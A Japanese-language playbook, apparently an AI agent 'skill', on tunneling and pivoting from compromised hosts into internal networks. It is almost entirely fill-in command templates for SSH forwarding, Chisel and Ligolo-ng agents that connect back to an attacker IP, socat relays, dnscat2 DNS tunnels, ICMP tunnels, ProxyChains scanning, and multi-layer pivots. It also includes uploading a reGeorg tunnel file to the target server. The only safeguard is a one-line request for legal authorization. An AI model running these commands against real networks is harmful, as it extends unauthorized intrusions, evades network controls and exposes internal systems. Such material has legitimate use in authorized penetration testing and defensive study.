トンネリングとピボット は何をしますか?
トンネリングとピボットのプレイブック。SSHトンネリング、Chisel、Ligolo-ng、socat、DNS/ICMP/HTTPトンネリング、ProxyChains、マルチレイヤーピボット戦略など、侵害したホストを介したネットワークトンネルの確立に使用します。
概要
このスキルは、侵害したホストから内部ネットワークへのアクセスを拡大するためのトンネリングおよびピボット技術を網羅しています。以下の主要なツールと戦略をカバーします:
- SSHトンネリング: ローカルポート転送、リモートポート転送、動的ポート転送
- Chisel: HTTPを介した高速TCPトンネル
- Ligolo-ng: シンプルなL2/L3 VPNトンネリング
- socat: 多機能な双方向データ転送
- DNSトンネリング: DNSクエリを利用したデータのカプセル化
- ICMPトンネリング: ICMPエコー要求/応答を利用したトンネリング
- HTTPトンネリング: HTTPリクエストを介したトンネリング
- ProxyChains: 任意のアプリケーションのトラフィックをプロキシチェーン経由でルーティング
- マルチレイヤーピボット: 複数の中継ホストを利用した高度なピボット戦略
前提条件
- 対象ホストへのシェルアクセス(リバースシェル、Webシェルなど)
- 使用するツールのバイナリまたはスクリプトへのアクセス
- ターゲットネットワークのトポロジー理解
使用方法
各ツールの具体的な使用方法については、以下のサブセクションを参照してください。
SSHトンネリング
# ローカルポート転送(ローカルポートをリモートホストに転送)
ssh -L [ローカルポート]:[リモートホスト]:[リモートポート] [ユーザー]@[ジャンプホスト]
# リモートポート転送(リモートポートをローカルホストに転送)
ssh -R [リモートポート]:[ローカルホスト]:[ローカルポート] [ユーザー]@[ジャンプホスト]
# 動的ポート転送(SOCKSプロキシの作成)
ssh -D [ローカルSOCKSポート] [ユーザー]@[ジャンプホスト]
Chisel
# サーバー側(攻撃者マシン)
./chisel server -p [ポート] --reverse
# クライアント側(ターゲットホスト)
./chisel client [攻撃者IP]:[ポート] R:[ローカルポート]:[ターゲットホスト]:[ターゲットポート]
Ligolo-ng
# プロキシ(攻撃者マシン)
./proxy -selfcert -laddr 0.0.0.0:443
# エージェント(ターゲットホスト)
./agent -connect [攻撃者IP]:443 -ignore-cert
socat
# リバースシェルからのトンネル
socat TCP-LISTEN:[ローカルポート],fork TCP:[ターゲットホスト]:[ターゲットポート]
# 双方向リレー
socat TCP-LISTEN:[ポート1],fork TCP:[ターゲットホスト]:[ポート2]
DNSトンネリング
# dnscat2の使用例
# サーバー側
dnscat2-server --domain [your-domain.com]
# クライアント側(ターゲット)
./dnscat2 --dns host=[your-domain.com]
ICMPトンネリング
# ptunnelの使用例
# サーバー側
ptunnel -p [プロキシホスト] -lp [リッスンポート] -da [宛先ホスト] -dp [宛先ポート]
# クライアント側
ptunnel -p [プロキシホスト] -lp [リッスンポート] -da [宛先ホスト] -dp [宛先ポート]
HTTPトンネリング
# reGeorgの使用例
# サーバー側(攻撃者)
python reGeorgSocksProxy.py -p [ポート] -u http://[ターゲット]/tunnel.[ext]
# トンネルファイルをターゲットサーバーにアップロード
# tunnel.php, tunnel.aspx, tunnel.jsp など
ProxyChains
# /etc/proxychains.conf の設定例
[ProxyList]
socks4 127.0.0.1 1080
socks5 127.0.0.1 1081
http 127.0.0.1 8080
# 使用例
proxychains nmap -sT -Pn [ターゲットIP]
proxychains ssh [ユーザー]@[ターゲットIP]
マルチレイヤーピボット
- 最初のホスト(A)へのアクセスを確立
- ホストAを経由して内部ホスト(B)にトンネリング
- ホストBでのピボットを繰り返し、より深いネットワークにアクセス
# 例:SSHを使用した多層トンネリング
# レイヤー1:Aへの直接SSH
ssh -L 2222:B:22 user@A
# レイヤー2:A経由でBにSSH
ssh -L 3333:C:22 -p 2222 user@localhost
トラブルシューティング
- ファイアウォールルールの確認
- 使用するポートがブロックされていないか確認
- プロトコル固有の制限(例:DNSパケットサイズ)に注意
- タイムアウト設定の調整
注意事項
- 法的許可を得た環境でのみ使用してください
- 過剰なトラフィックは検出される可能性があります
- ツールのバージョンによって動作が異なる場合があります